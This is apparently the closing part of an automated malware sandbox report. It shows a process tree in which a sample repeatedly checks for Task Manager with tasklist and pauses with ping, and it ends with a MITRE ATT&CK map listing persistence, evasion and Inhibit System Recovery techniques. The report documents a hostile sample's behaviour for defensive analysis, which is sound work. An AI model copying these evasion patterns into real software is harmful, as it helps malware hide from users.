      4⤵
      PID:4108
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:1084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:820
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:5192
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:4780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:380
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:312
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    PID:4532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2480
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:1916
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5112
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:2892
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:5500
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:5380
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:2756
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:5308
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:204
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:2012
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:5288
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:2836
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:1824
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:2292
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:1772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1988
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:3496
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3864
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:4504
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:3236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3460
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:5468
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2296
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:2788
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:2576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1676
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4104
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:2768
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:2988
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:5764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5424
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:4572
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:1388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1932
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:1908
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:4188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3020
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:5444
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:1140
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:3904
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:5828
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:2616
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4588
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:5020
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:4376
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4884
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1348
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:4876
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:4940
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4908
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    PID:5032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:2992
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:1016
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:6092
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:3176
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:6096
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:2184
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:304
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:4612
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    PID:5116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1916
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:2344
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:4260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4556
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4060
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    PID:4932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:5816
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:768
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:3400
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:4320
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:5824
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:1560
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    PID:3564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1260
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:2076
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1356
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:5304
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:244
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:5468
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:2864
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:3948
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4104
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4428
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:5752
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:1320
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:2600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:108
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:2488
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5256

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5028

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490